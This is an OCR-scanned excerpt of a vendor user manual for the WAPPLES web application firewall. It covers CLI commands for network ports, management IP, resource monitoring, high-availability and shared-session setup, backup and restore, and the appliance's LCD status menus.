You can configure bonding interface using bonding-enslave in CLI.

penta-np(config)# network

penta-np(config-network)# bonding-enslave

set set bonding slaves

unset unset bonding slaves

penta-np(config-network)# bonding-enslave set
BONDDEVNAME bonding interface name

penta-np(config-network)# bonding-enslave set bond0

SLAVES bonding slave names

penta-np(config-network)# bonding-enslave set bond0 tp0

OK.

02 Service Port Setting

At least 1 service port is used to set up WAPPLES in either Inline mode or Proxy
mode. Use bridge command to for service port setting.

(©  Adding Service Port

When you enter [bridge-int ?] or [bridge ?] in CLI, you can see a brief guide on
how to use the command. As in following example, when you enter [bridge-int
add [bridge name]] and [bridge add [bridge name] [device name]] in CLI to add
service port.

penta-np(config)# network
penta-np(config-network)# bridge-int

add add bridge NIC

del delete bridge devicename
penta-np(config-network)# bridge-int add

BRDEVICENAME bridge interface name
penta-np(config-network)# bridge-int add br0
OK.
penta-np(config-network)# bridge

add add bridge NIC

del delete bridge devicename
penta-np(config-network)# bridge add
BRDEVICENAME bridge interface name
penta-np(config-network)# bridge add br0

DEVICENAME devicename
penta-np(config-network)# bridge add br0 tp4
OK.
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Deleting Service Port

Using CLI, you can delete a service port by typing [bridge del [bridge name]
[device name]]. The following is an example of deleting a service port.

penta-np(config)# network
penta-np(config-network)# bridge

add add bridge NIC

del delete bridge devicename
penta-np(config-network)# bridge del br0
BRDEVICENAME bridge interface name

all delete detection NIC of all
penta-np(config-network)# bridge del br0 tp4
OK.

@ View Service Port List

To see the list of service ports, enter [show bridge] or [sh bridge] in CLI. The
following is the example of using show bridge command.

penta-np(config)# network
penta-np(config-network)# show bridge

Bridge Nic Info
brO tp0
brO tpl

03 Management Port IP Address Setting

Enter management port setting mode by typing [link [Management Port Name]].
In management port setting mode, you can use commands listed in [Table 119.
Commands for Setting Management Port ]. The following is the example of using
the commands.

penta-np(config)# network
penta-np(config-network)# link ctl0
end end current mode and down to privileged EXEC mode
exit Exit current mode and down to previous mode
if if information
list Print command list
quit Exit current mode and down to previous mode
show  show running system information

Table 119. Commands for ing Management Por
REEE Description
Command
end Terminates current mode or moves to enable mode
exit Terminates current mode or moves to previous stage
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if Sets if

list Displays the list of commands.
quit Terminates current mode or moves to previous stage
show Shows the information of the system in operation.

You can set management port IP and netmask with [if add Management
PortIP/Netmask (Broadcast Address | none)] command. Enter IP address and
netmask as in '192.168.0.11/24' and broadcast address, ‘none’ or ‘192.168.0.255.”
The following is the example.

penta-np(config)# network
penta-np(config-network)# link ctl0
penta-np(config-network-ctl0)# if
add add interface
del delete interface
penta-np(config-network-ctl0)# if add
A.B.C.D/M adding ip address/prefix
penta-np(config-network-ctl0)# if add 192.168.0.11/24
A.B.C.Dbroadcast address
None skip
penta-np(config-network-ctl0)# if add 192.168.0.11/24 192.168.0.255
<Ccr>
penta-np(config-network-ctl0)# if add 192.168.0.11/24 192.168.0.255
OK.

After configuring the setting, you can check the network information of the
management IP configured to the management port.

penta-np(config)# network
penta-np(config-network)# link ctl0
penta-np(config-network-ctl0)# show if all
------ IF INFO

IFINDEX :1

IFADDR  :192.168.0.11/24
IF MASK  :255.255.255.0
IF BRD ADDR :192.168.0.255
IFFLAG :FIRST

@ CLI commands concerned with settings and changes will be applied to
WAPPLES only when you execute ‘save configuration’ command

04 Permitted Network Setting

In case administrator’s PC and WAPPLES are located in the same subnet, skip
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this stage and move to the next stage.

In case administrator’s PC and WAPPLES are not located in the same subnet,

configure the permitted network to allow the administrator to access WAPPLES
management port.

For example, if the IP address of the administrator’s PC is 192.168.1.0 and the
netmask is 255.255.255.0, enter the following.

penta-np# configure terminal

penta-np(config)# network

penta-np(config-network)# rt add 192.168.1.0/24 none ctl0
OK.

The following message will be displayed in CLI if the administrator enters
incorrect values when configuring the permitted network.

Table 120. CLI Permitted Network Error Message

Error Message Cause

% Command incomplete. Executed the command incorrectly

4.4 Resource

This command checks system resource. Enter [resource] to enter Resource Mode.

penta-np(config)# resource
penta-np(config-resource)#

[Table 121. Resource Mode Command] shows a list of commands used in
resource mode.

Table 121. R rce M mman
Related Command Description
Terminates current mode or turns to
End
enable mode.
Exit Terminates current mode, or moves to
previous stage
list Displays list of commands.

Terminates current mode, or moves to

quit previous stage
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Related Command Description

Sets the refreshing cycle for system
resource information.

Shows the time the system resources
are refreshed.

show sysinfo Shows the status of system’s
(alljsys|task|cpu]mem|proc|fs) resources by each subject.

refresh set <1-65535>

show refresh_time

When you enter [show refresh_time] command, it will show the time the system
resource information is updated.

penta-np(config-resource)# show refresh_time

*kkkkk REFRESH TIME *kkkkk

1 second.

penta-np(config-resource)#

When you enter [refresh set <number>] command, you can change the time for
refreshing system resource information. In the following case, the refresh time is
changed to 3 seconds.

penta-np(config-resource)# refresh set 3
OK.
penta-np(config-resource)# show refresh_time

*hkkkkk REFRESH TIME *hkkkkx

3 second.

penta-np(config-resource)#

When you enter [show sysinfo <resource>] command, the system will display
system resources information. In the following case, the task information is
displayed.

penta-np(config-resource)# show sysinfo task

*hkkkkk Task Summary *kkkkk

Total Task Number [123]
Running Task Number [1]
Sleeping Task Number [122]
Stopped Task Number [0]
Zombie Task Number [0]

FHxxkx End Task Summary ******
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‘ penta-np(config-resource)#

4.5 HA (*Caution: WAPPLES-50 does not support HA)

Use HA command to set HA and Shared-Session. The following are HA related

commands
Table 122, HA Command
Related Command Description
end Terminates current mode or turns to enable.
exit Terminates current mode or removes to the

previous stage

ha-flag-detect-engine Turns on/off Detect Engine when setting up HA.

ha-flag-sve-link Turns on/off Service Link monitoring when setting

up HA.

ha-hotline Configures Hot Line for HA.
ha-own-state Shows HA status of this equipment.
ha-state-conf Configures HA setting.
ha-sate-force Enforces HA setting for this equipment
list Displays list of commands.

uit Terminates current mode or moves to the previous
a stage.
shared-session Sets up Shared-Session
show Shows statuses related with HA

01 HA Detection Target Setting

Use ha-flag-detect-engine and ha-flag-svc-link commands to set the detection
target for WAPPLES HA. ha-flag-detect-engine and ha-flag-svc-link have the
following structures.

ha-flag-detect-engine set [on|off]
ha-flag-svc-link set [on|off]

Enter ha-flag with a question mark (?) to see parameter fields, and each field is
described as follows.

Table 123. ha-fl mman

4. Configure Command _404



Related

Command Description Example
ha-flag-detect- Activates/deactivates Detection ha-flag-detect-engine set
engine Engine on(off)

Ha-flag-sve-link Activates/deactivates  Service ha-flag-svc-link set
g Link Monitoring on(off)

The default setting for ha-flag-detect-engine and ha-flag-svc-link is on (Subject
of Monitoring).

02 HA Hotline Setting

Use ha-hotline command to set up WAPPLES HA Hotline. ha-hotline has the
following structure.

‘ ha-hotline set [dev. name] [source IP [dest. IP] [dest. MAC Addr]

Enter ha-hotline with a question mark (?) to see parameter fields, and each field is
described as follows.

Table 124, ha-hotline Command

Field Description
ha-hotline This is the command to set up HA Hotline.
set Sets up HA Hotline.
(dev. name) Sets the Ethernet device to use with HA. ctll is
recommended.
(source ip) Sets source IP to use with HA.
(dest. ip) Sets destination IP to use with HA.
(dest. mac addr) Set destination MAC address to use with HA.

03 HA Setting

Use ha-state-conf command to set up WAPPLES HA. Ha-state-conf has
following structure.

‘ ha-state-conf set [HA Action] [Own State] [Opp. State]

Enter ha-state-conf with a question mark (?) to see parameter fields, and each
field is described as follows.
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Table 125, ha-state-conf Comman

Field Description
ha-state-conf This is the command to set up HA.
set Sets up HA.
ha-off Does not use HA.
If the service on the other side becomes
. default-load normalized after failover, restores original
(ha action) settings.
Maintains current status whether or not the
default-off service on the other side becomes
normalized after failover
active Sets this equipment to “Active”
(own state)
standby Sets this equipment to “Standby”
active Sets the other equipment to “Active”

Disables the other equipment

(opp. state) none (Sets ha action to ha-off)

standby Sets the other equipment to “Standby”

The following is the example of the active equipment restored to original settings
when the other equipment normalized after failover in the Active-Standby
architecture.

penta-np# configure terminal

penta-np(config)# ha

penta-np(config-ha)# ha-state-conf set default-load active standby
OK.

You also need to configure Shared Session setting in order to determine session
sharing method when setting up HA.

04 shared Session Setting
Use shared-session command to configure WAPPLES Shared Session. When you

set Shared Session, configure exclusive line setting for HA Health Check. shared-
session has the following structure.

shared-session set [shared action]

Enter shared-session with a question mark (?) to see parameter fields, and each
field is described as follows.
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Table 126. shared-session Comman
Field Description
. This is the command for configuring Shared
shared-session .
Session.
set Sets Shared Session.
no-shared Does not use Shared Session.
(shared half-sync  Synchronizes session up to kernel.
action)
Synchronizes session up to Kernel and
full-sync "
Application.
Sets the Ethernet device to be used in the Shared
(dev. name) Session. (Same as HA)
ctl0 is recommended.
(source ip) Sets source IP to use with HA.
(dest. ip) Sets destination IP to use with HA.

(dest. mac addr)

Set destination MAC address to use with HA.

The following is the example of using the command to synchronize kernel as well

as application.

penta-np(config)# ha

00:90:FB:23:3E:29
OK.

penta-np# configure terminal

penta-np(config-ha)# shared-session set full-sync ctll 10.1.1.10 10.1.1.20

05 Forced HA Setting

Use ha-state-force command to enforce WAPPLES HA state. Ha-state-force has

following structure.

‘ ha-state-force set [state]

Enter [ ha-state-force ? ] to see parameter fields, and each field is described as

follows.
Table 127. ha-state-force Command
Field Description
ha-state-conf This is the command to enforces HA state
set Enforces HA state
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Field Description

Active Sets current state to “Active”

(state)
standby Sets current state to “Standby”

The following is the example of forcibly setting the state of the equipment to
“Standby”

penta-np# configure terminal
penta-np(config)# ha

penta-np(config-ha)# ha-state-force set standby
OK.

To restore the equipment to the original state, you must execute the commands
reversely.

06 Inquiry of HA and Shared-Session Status Information

Use show ha command to inquire current status of HA and Shared Session of
WAPPLES. show ha has the following structure.

show ha

Each field is described as follows.

Table 128. show h mman

Field Description

show Inquires current status.

ha Inquires current status of HA and Shared Session.

The following is the example of enforcing the equipment to “Standby” state.

penta-np# configure terminal
penta-np(config)# ha
penta-np(config-ha)# show ha

HA STATE

haDefaultState : DEFAULT _LOAD
haConfOwnState : ACTIVE haConfOppState : STANDBY
haRunOwnState : STANDBY  haRunOppState : ACTIVE
haOwnFlag :|DETECTION_ENGINE_DOWN |

| SERVICE_LINK UP |

| FORCE_DETECTION_ENGINE_UP |
sharedState : NP_SHARED_SI_SYNC
sharedDev  :ctll
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destMacAddr

sourcelp :10.1.1.10
destlp :10.1.1.20
sourcePort  : 20000
destPort : 20000

sourceMacAddr : 00:10:F3:17:DF:11
1 00:90:FB:23:3E:29

The information that appear in response to the inquiry refer to the following.

Table 129. HA and Shar

ion Information

haDefaultState

Determines the state of HA and whether original
setting shall be restored after failover

Sets this equipment’s initial state for WAPPLES HA

haConfOwnState when starting.
haRunOwnState The current HA status of this equipment.
Sets the other equipment’s initial state for WAPPLES
e HA when starting.
haRunOppState The current HA status of the other equipment.
haOwnEla Engine monitoring status, service network status, and
g enforced engine configuration status.
Determines whether Shared Session shall be used or
sharedState not
sharedDev Determines Ethernet device to use with HA and
Shared Session
sourcelp Set source IP to use with HA
destlp Sets destination IP to use with HA.
sourcePort Set source Port to use with HA
destPort Sets destination Port to use with HA.
sourceMacAddr Set source MAC Address to use with HA
destMacAddr Sets destination MAC Address to use with HA.
4.6 WAPPLES

Use commands to check WAPPLES information, backup or restore database,
check log message and rerun WAPPLES services.

01 Check WAPPLES Information

These are commands that check the unique ID given to individual equipment
when WAPPLES was shipped from the factory and the software version of
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WAPPLES.

Table 130. Commands Related with Checking WAPPLES Information
Command Description
Id Indicates the unique ID provided at the factory.
version Indicates the software version information of WAPPLES

02 Backup / Restore Command

You can backup or restore WAPPLES database with ‘backup’ and ‘restore’
commands. Execute following commands to back up the database.

Table 131. Backup / Restoration Related Commands

Related Command Description

backup [filename] Executes database backup.

You can send the backup file to external FTP
server by adding ‘ftp’ option.

Backs up all management settings including
WAPPLES database and network settings.
Restores WAPPLES’s database or settings
with the specified backup file.

backup [filename] ftp

backup [filename] image

restore [filename]

restore list Checks the backup file list.
restore delete [filename] Deletes specific backup files.
restore factory Initializes all settings.

03 WAPPLES System Command

Table 132. WAPPLES System Related Commands

REIE Description
Command b
Shows the system status information refreshed every 4
sysmon

seconds. Press Ctrl-C to quit real-time monitoring mode.
Shows the detection process related status information
wplog refreshed in real time. Press Ctrl-C to quit real-time
monitoring mode.
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Related

o — Description

Messages Shows general system log information refreshed in real
9 time. Press Ctrl-C to quit real-time monitoring mode.

restart Restarts detection related process.
end Terminates current mode or moves to the previous stage.
exit Terminates current mode or moves to the previous stage.
list Displays the list of commands
quit Terminates current mode or moves to the previous stage.

@ Commands related with setting and editing among available CLI
commands will be applied to WAPPLES only when you execute ‘save
configuration’ after using such commands

04 Management Port IP Display Control Command

WAPPLES can mask some part of the management port IP displayed on the
external LCD window to protect it from leakage.

Table 133. WAPPLES Management Port IP Displ ntrol Comman
Felise Description
Command P
LCD Masks some part of the management port IP displayed on

the external LCD. Ex) 192.168. XXX. XXX

The following examples show the use of the management port IP Masking
command and the result.

penta-np(config-wapples)# Icd ctl ip mask

INFORMATION
192.168. XXX. XXX

The following example shows the use of the command for unmasking
management port IP and the result.

‘ penta-np(config-wapples)# Icd ctl ip unmask

INFORMATION
192.168.0.100
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1.Check Service

2.Inspect Integrity
3.Check Network Interface
4.LCD Window
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XV. WAPPLES Status Check

WAPPLES inspects the status of WAPPLES by itself and provides the guide for
the cause and solution when there is a trouble with WAPPLES.

1. Check Service

WAPPLES periodically inspects its service status every 2 seconds and provides
features that can be used to recover problems such as the suspension of service.

2. Inspect Integrity

In case a file is modified without permission, WAPPLES may not be able to
provide normal service. WAPPLES inspects the integrity of internal files when it
starts and at 2:00 a.m.

The result of the integrity test can be checked with the audit log. If there is a
modified file, please contact PENTA Security System immediately.

3. Check Network Interface

WAPPLES periodically inspects the network status on packets every 20 seconds.
Error, Dropped, FIFO error, Frame/Carrier error are inspected in network
interface status, interface collisions, packet inflow and outflow.

The audit log for network interface is recorded only when there is a problem and
it can be check with the audit log.

4. LCD Window

4.1 Check Information

The LCD window of WAPPLES displays WAPPLES version, Management Port
IP, and NIC Status (network status).

When no button is pressed for 20 or more seconds, it will periodically display
WAPPLES version, Management Port IP, and NIC Status (only when NIC Status
is changed).

LCD window displays the following menu.

Table 134. L CD Menu
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Top Menu Sub Menu Description

Displays the software version

Version information of WAPPLES

Displays the network information of
Control Port IP the management IP set to the

INPORMATION
management port.

Displays  the  system status
NicStatus information updated every 2 seconds
in real time.

Press any button on the initial screen of LCD window to display the top menu.
Press Left button (Esc button) to return to the screen and use Up / Down buttons
to see menus other than the version of the information. When no button is pressed
for 20 or more seconds, the system will automatically return to the initial screen
and display periodical information.

Click Right button (Enter button) in the top menu to move to the corresponding
sub menu.

WAPPLE
1. INFORMATION

INFORMATION
1. Version

INFORMATION
2. Control Port IP

INFORMATION
3. Nic Status

4.2 Check WAPPLES Version

Press Right button (Enter button) in the 1. Version menu of INFORMATION to
check the version of WAPPLES.

INFORMATION
Ver : 3.0R3

If you want to check Management Port IP and NIC Status, you can press
Up/Down button instead of returning to the menu. When no button is pressed for
20 or more seconds, the system will automatically return to the initial screen and
display periodical information.

4. LCD Window _415



4.3 Check Management Port IP

Press Right button (Enter button) in 2. Control Port IP menu of INFORMATION
to check the management port IP of WAPPLES.

INFORMATION
192.168.0.100

If you want to check WAPPLES version and NIC Status, you can simply press
Up/Down instead of going back to the menu. When no button is pressed for 20 or
more seconds, the system will automatically return to the initial screen and
display periodical information.

If you wish to limit the information of Management Port IP exposed, refer to
[WAPPLES User Manual’s X.CLI (Command Line Interface) Command
3.6.WAPPLES 04. Management Port IP Display Control].

4.4 Check Detailed Information of NIC

Press Right button (Enter button) in 3. Nic Status menu of INFORMATION to
check the management port IP of WAPPLES.

The NICs (Network Interface Card) that can be checked through the LCD
window are External NIC, Internal NIC, and Control NIC and press Right button
(Enter button) in 3. Nic Status menu and then press Up/Down button to move to
the corresponding NIC.

INFORMATION
3. Nic Status

INFORMATION
External NIC

INFORMATION
Internal NIC

INFORMATION
Control NIC

To see the details of External NIC, Internal NIC, and Control NIC, right click on
External NIC, Internal NIC, and Control NIC menu.

INFORMATION
Rx Pkt: 0

| INFORMATION \
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| RxErr:0

INFORMATION
Rx Drp : 0

INFORMATION
TxPkt: 0

INFORMATION
TXErr:0

INFORMATION
TxDrp:0

INFORMATION
Colls: 0

When no button is pressed for 20 or more seconds, the system will automatically
return to the initial screen and display periodical information.
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1.Active-Standby
2.Active-Active
3.Shared Session

4.Load Balancing
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XVL. High Availability

*Caution: WAPPLES-50 does not support HA

1. Active-Standby

1.1 Active-Standby — HA architecture using WAPPLES

WAPPLES can be set up in 2 types of Active-Standby architectures. This chapter
explains about setting up Active-Standby with only 2 WAPPLES equipments
without additional network support.

INTERNET

L2/L3 Switc

L2/L3 Switch

Servers

Fig. XVI-1. Active-Standby HA Architecture 1

To set up WAPPLES in Active-Standby HA architecture, set up each WAPPLES
in inline mode as in [Fig. XVI-1. Active-Standby HA ] and execute the following.

® Install 2 WAPPLES (WAPPLES 1, WAPPLES 2) in inline mode.
- This can be applied to the network environment where L2 or higher switch
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is connected.

- Configure dual WAPPLES no to enable H/W Bypass when a trouble occurs.

Client Side and Server Side have the same network domain centering on
WAPPLES. Connect hot-line between WAPPLES for Health Check. Use [ctl1]
port for Hot-Line connection. Before setting up HA, activate (UP) [ctl1] port and
set IP with the address outside bridge network domain.

All communications between client side and server side will be blocked when
WAPPLES operates on standby mode that packet loop will not occur, but the
network can be severed temporarily due to the aging time of MAC learned from
L2 switch when WAPPLES changes Active/Standby mode. For this, it is
recommended that you use STP of the L2 switch connected to the network when
setting up WAPPLES in Active/Standby mode.

In HA architecture, WAPPLES operating in Standby mode switches to Active
mode when it does not receive the ‘Hello Packet’ from the Active equipment for
the Delay Time (1sec).

® Set HA status of WAPPLES 1 to Active and WAPPLES 2, Standby.
- WAPPLES 1 and WAPPLES 2 check each other through the exclusive
hotline connecting two equipments.

- Active equipment sends ‘Hello packet’ to notify Standby equipment
whether it is operating normally. Standby equipment turns to Active Mode
when it does not receive the ‘Hello Packet” within the Delay Time (1sec).

® Fail-Over Transition Time is consumed as much as the MAC Aging
Time of L2/L3 Switch connected to upper and lower ends of WAPPLES.
(MAC Aging Time varies by Switch.)

Major commands used for HA setting are as follows.

® Command for Hot-Line Setting (Refer to [Table 138. Hot-Line
Settings])
ha-hotlne set [interface] [Source IP] [destination IP] [destination MAC]

® Command for HA Setting
ha-state-conf set [haDefaultState] [haConfOwnState] [haConfOppState]

Using CLlI, type the following in WAPPLES 1 (Active) to set HA to Active.

penta-np# configure terminal

penta-np(config)# network

penta-np(config-network)# link-status set ctll up

OK.

penta-np(config-network)# link ctll
penta-np(config-network-ctl1)# if addr 10.1.1.10/24 brd 10.1.1.255
OK.

penta-np(config-network-ctl1)# exit

penta-np(config-network)# exit
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penta-np(config)# ha

penta-np(config-ha)# ha-hotline set ctl1 10.1.1.10 10.1.1.20 00:90:FB:23:3E:29
penta-np(config-ha)# ha-state-conf set default-load active standby

OK.

penta-np(config-ha)# shared-session set full-sync

OK.

penta-np(config-ha)# show ha

HA STATE
haDefaultState : DEFAULT_LOAD
haConfOwnState : ACTIVE  haConfOppState : STANDBY
haRunOwnState : STANDBY  haRunOppState : STANDBY
haOwnFlag :|DETECTION_ENGINE_DOWN(ON) |
| SERVICE_LINK_UP(ON) |
| FORCE_DETECTION_ENGINE_UP |
sharedState : NP_SHARED_SI_SYNC
sharedDev  :ctll
sourcelp :10.1.1.10
destlp :10.1.1.20
sourcePort  : 20000
destPort  : 20000
sourceMacAddr : 00:10:F3:17:DF:11
destMacAddr : 00:90:FB:23:3E:29

Enter the following for WAPPLES 2(Standby) to set HA to Standby.

penta-np# configure terminal

penta-np(config)# network

penta-np(config-network)# link-status set ctll up

OK.

penta-np(config-network)# link ctll
penta-np(config-network-ctl1)# if addr 10.1.1.20/24 brd 10.1.1.255
OK.

penta-np(config-network-ctl1)# exit

penta-np(config-network)# exit

penta-np(config)# ha

penta-np(config)# ha-hotline set ctl1 10.1.1.20 10.1.1.10 00:10:F3:17:DF:11
penta-np(config-ha)# ha-state-conf set default-load standby active
OK.

penta-np(config-ha)# shared-session set full-sync

OK.

penta-np(config-ha)# show ha

HA STATE
haDefaultState : DEFAULT_LOAD
haConfOwnState : STANDBY  haConfOppState : ACTIVE
haRunOwnState : ACTIVE  haRunOppState : STANDBY
haOwnFlag :| DETECTION_ENGINE_UP(ON) |
| SERVICE_LINK_UP(ON) |
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| FORCE_DETECTION_ENGINE_UP |
sharedState : NP_SHARED SI SYNC
sharedDev  :ctll
sourcelp :10.1.1.20
destlp :10.1.1.10
sourcePort  : 20000
destPort : 20000
sourceMacAddr : 00:90:FB:23:3E:29
destMacAddr :00:10:F3:17:DF:11

HA action will begin when the said settings are completed in WAPPLES. The
meaning of HA related items is as follows

Table 135. HA Details

Whether HA is used or whether this settings shall be
restored after failover.

The initial HA settings for this WAPPLES HA when
starting HA

haDefaultState

haConfOwnState

haRunOwnState HA status of this WAPPLES equipment.

The initial HA settings for the other WAPPLES HA

e S when starting HA

haRunOppState HA status of the other WAPPLES equipment.

Engine monitoring status (monitoring target if the flag
inside brackets is ON, not monitored if the flag is

haOwnFlag OFF), service network status (monitoring target if the
flag inside brackets is ON, not monitored if the flag is
OFF), forced engine setting..

sharedState Whether Shared Session is used.

Ethernet device to be used for HA and Shared
sharedDev

Session.
sourcelp Source IP Address for HA.
destlp Destination IP Address for HA.
sourcePort Source Port Address for HA.
destPort Destination Port Address for HA.
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sourceMacAddr Source MAC Address for HA.

destMacAddr Destination MAC Address for HA.
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1.2 HA Architecture using Active-Standby-Network STP

WAPPLES can be set up in two types of Active-Standby architectures depending
on the settings. This chapter explains about using the STP of the network to set up
Active-Standby architecture without making additional settings to WAPPLES.

INTERNET

L2/L3 Switc

Hotline

L2/L3 Switch

Fig. XVI-2. Active-Standby HA Architecture 2

To set up WAPPLES in Active-Standby HA architecture, install each WAPPLES
equipment in inline mode to set up a network as in [Fig. XVI-1. Active-Standby
HA] and conduct the following procedure.

® Install 2 WAPPLES (WAPPLES 1, WAPPLES 2) in inline mode..
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- This can be applied to the network environment where L2 or higher switch
is connected.

- Configure dual WAPPLES no to enable H/W Bypass when a trouble occurs.

Since all WAPPLES equipments are operating in Active mode, this architecture
generates Packet Loop. You need to configure STP of L2/L3 switches connected
to the network in order to resolve packet loop architecture.

Either connection will be automatically blocked due to STP setting of L2/L3
switch. WAPPLES in blocked area will automatically act as Standby equipment.
Also, if Active side equipment faces network problem when you are using RSTP,
it will immediately lead to failover and minimize network severance.

® Set HA status of WAPPLES 1 and WAPPLES 2 to Active.
- WAPPLES 1 and WAPPLES 2 check each other through the exclusive
hotline connecting two equipments.

- Both equipments send ‘Hello packet’ to each other to notify normal
operating status. One WAPPLES recognizes the other as Standby equipment
when it does not receive the ‘Hello Packet” within the Delay Time (1sec).

® Fail-Over Transition Time is consumed as much as the MAC Aging
Time of L2/L3 Switch connected to upper and lower ends of WAPPLES.
(MAC Aging Time varies by Switch.)

Client side and server side have the same network domain centering on
WAPPLES and WAPPLES equipments are connected with hot-line for health
check. Use [ctl1] port for Hot-Line connection. Before setting up HA, activate
(UP) [ctl1] port and set IP with the address outside bridge network domain.

Using CLI, type the following in WAPPLES 1 (Active) to set HA to Active.

penta-np# configure terminal

penta-np(config)# network

penta-np(config-network)# link-status set ctl1 up

OK.

penta-np(config-network)# link ctll
penta-np(config-network-ctl1)# if addr 10.1.1.10/24 brd 10.1.1.255
OK.

penta-np(config-network-ctl1)# exit

penta-np(config-network)# exit

penta-np(config)# ha

penta-np(config-ha)# ha-hotline set ctl1 10.1.1.10 10.1.1.20 00:90:FB:23:3E:29
penta-np(config-ha)# ha-state-conf set default-load active active
OK.

penta-np(config-ha)# shared-session set full-sync

OK.

penta-np(config-ha)# show ha

HASTATE
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haDefaultState : DEFAULT_LOAD
haConfOwnState : ACTIVE  haConfOppState : ACTIVE
haRunOwnState : ACTIVE  haRunOppState : ACTIVE
haOwnFlag :| DETECTION_ENGINE_DOWN(ON) |
| SERVICE_LINK_UP(ON) |
| FORCE_DETECTION_ENGINE_UP |
sharedState : NP_SHARED_SI SYNC
sharedDev  :ctll
sourcelp :10.1.1.10
destlp :10.1.1.20
sourcePort  : 20000
destPort  :20000
sourceMacAddr : 00:10:F3:17:DF:11
destMacAddr :00:90:FB:23:3E:29

Enter the following for second WAPPLES(Standby) to set HA to Active.

penta-np# configure terminal

penta-np(config)# network

penta-np(config-network)# link-status set ctl1l up

OK.

penta-np(config-network)# link ctll
penta-np(config-network-ctl1)# if addr 10.1.1.20/24 brd 10.1.1.255
OK.

penta-np(config-network-ctl1)# exit

penta-np(config-network)# exit

penta-np(config)# ha

penta-np(config-ha)# ha-state-conf set default-load active active
OK.

penta-np(config-ha)# shared-session set full-sync

OK.

penta-np(config-ha)# show ha

HA STATE
haDefaultState : DEFAULT_LOAD
haConfOwnState : ACTIVE  haConfOppState : ACTIVE
haRunOwnState : ACTIVE  haRunOppState : ACTIVE
haOwnFlag :|DETECTION_ENGINE_UP(ON) |
| SERVICE_LINK_UP(ON) |
| FORCE_DETECTION_ENGINE_UP |
sharedState : NP_SHARED_SI_SYNC
sharedDev  :ctll
sourcelp :10.1.1.20
destlp :10.1.1.10
sourcePort 20000
destPort : 20000
sourceMacAddr : 00:90:FB:23:3E:29
destMacAddr :00:10:F3:17:DF:11
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HA will begin when the said settings are completed in WAPPLES. The meaning
of HA related items is as follows

Table 136. HA Details

haDefaultState

Whether HA is used or whether this settings shall be
restored after failover.

The initial HA settings for this WAPPLES HA when

haConfOwnState starting HA
haRunOwnState HA status of this WAPPLES equipment.
The initial HA settings for the other WAPPLES HA
e S when starting HA
haRunOppState HA status of the other WAPPLES equipment.
Engine monitoring status (monitoring target if the flag
inside brackets is ON, not monitored if the flag is
haOwnFlag OFF), service network status (monitoring target if the
flag inside brackets is ON, not monitored if the flag is
OFF), forced engine setting.
sharedState Whether Shared Session is used.
sharedDev Ethernet device to be used for HA and Shared
Session.
sourcelp Source IP Address for HA.
destlp Destination IP Address for HA.
sourcePort Source Port Address for HA.
destPort Destination Port Address for HA.
sourceMacAddr Source MAC Address for HA.
destMacAddr Destination MAC Address for HA.
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2. Active-Active

2.1 Active-Active Architecture

WAPPLES supports Active-Active type HA architecture to cope with dual
network architecture.

INTERNET

Hotline

’ L3 Switch

Servers

Fig. XVI-3. Active-Active HA Architecture

Set up each WAPPLES in inline mode to build network architecture as in [Fig.
XVI-3. Active-Active HA ] and conduct following procedures.
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® [nstall WAPPLES in inline mode.
- This can be applied to the network environment where L2 or higher switch
is connected.

- Connect dual WAPPLES equipments directly with the network cable.

- Configure dual WAPPLES no to enable H/W Bypass when a trouble occurs.

Client Side and Server Side have the same network domain centering on
WAPPLES. Connect hot-line between WAPPLES for Health Check. Use [ctl1]
port for Hot-Line connection. Before setting up HA, activate (UP) [ctl1] port and
set IP with the address outside bridge network domain.

Shared session feature is provided in order to handle the session continuously
without disconnection even when the same TCP session fails to secure the
connection to the same WAPPLES in the dual network architecture. Shared
session feature is applied to registered web server traffic only and does not
influence other traffics. You need to make following settings in order to use the
shared session feature in Active-Active architecture.

Using CLI, type the following in WAPPLES 1 (Active) to set HA to Active

penta-np# configure terminal

penta-np(config)# network

penta-np(config-network)# link-status set ctl1l up

OK.

penta-np(config-network)# link ctll
penta-np(config-network-ctl1)# if addr 10.1.1.10/24 brd 10.1.1.255
OK.

penta-np(config-network-ctl1)# exit

penta-np(config-network)# exit

penta-np(config)# ha

penta-np(config-ha)# ha-hotline set ctl1 10.1.1.10 10.1.1.20 00:90:FB:23:3E:29
penta-np(config-ha)# ha-state-conf set default-load active active
OK.

penta-np(config-ha)# shared-session set full-sync

OK.

penta-np(config-ha)# show ha

HA STATE
haDefaultState : DEFAULT _LOAD
haConfOwnState : ACTIVE  haConfOppState : ACTIVE
haRunOwnState : ACTIVE haRunOppState : ACTIVE
haOwnFlag :| DETECTION_ENGINE_DOWN(ON) |
| SERVICE_LINK_UP(ON) |
| FORCE_DETECTION_ENGINE_UP |
sharedState : NP_SHARED_SI_SYNC
sharedDev  :ctll
sourcelp :10.1.1.10
destlp :10.1.1.20
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sourcePort  : 20000
destPort : 20000
sourceMacAddr : 00:10:F3:17:DF:11
destMacAddr :00:90:FB:23:3E:29

Type the following in WAPPLES 2 (Active) also to set HA to Active.

penta-np# configure terminal

penta-np(config)# network

penta-np(config-network)# link-status set ctl1 up

OK.

penta-np(config-network)# link ctll
penta-np(config-network-ctl1)# if addr 10.1.1.20/24 brd 10.1.1.255
OK.

penta-np(config-network-ctl1)# exit

penta-np(config-network)# exit

penta-np(config)# ha

penta-np(config-ha)# ha-hotline set ctl1 10.1.1.20 10.1.1.10 00:10:F3:17:DF:11
penta-np(config-ha)# ha-state-conf set default-load active active
OK.

penta-np(config-ha)# shared-session set full-sync

OK.

penta-np(config-ha)# show ha

HA STATE
haDefaultState : DEFAULT_LOAD
haConfOwnState : ACTIVE  haConfOppState : ACTIVE
haRunOwnState : ACTIVE haRunOppState : ACTIVE
haOwnFlag :| DETECTION_ENGINE_UP(ON) |
| SERVICE_LINK_UP(ON) |
| FORCE_DETECTION_ENGINE_UP |
sharedState : NP_SHARED_SI_SYNC
sharedDev  :ctll
sourcelp :10.1.1.20
destlp :10.1.1.10
sourcePort  : 20000
destPort  : 20000
sourceMacAddr : 00:90:FB:23:3E:29
destMacAddr :00:10:F3:17:DF:11

Active-Active action will begin when the said settings are completed in
WAPPLES. The meaning of HA related items is as follows.

Table 137. HA Details

Whether HA is used or whether this settings shall be
restored after failover.

haDefaultState

2. Active-Active 430




The initial HA settings for this WAPPLES HA when

haConfOwnState starting HA

haRunOwnState HA status of this WAPPLES equipment.

The initial HA settings for the other WAPPLES HA

MEICET IO E when starting HA

haRunOppState HA status of the other WAPPLES equipment.

Engine monitoring status (monitoring target if the flag
inside brackets is ON, not monitored if the flag is

haOwnFlag OFF), service network status (monitoring target if the
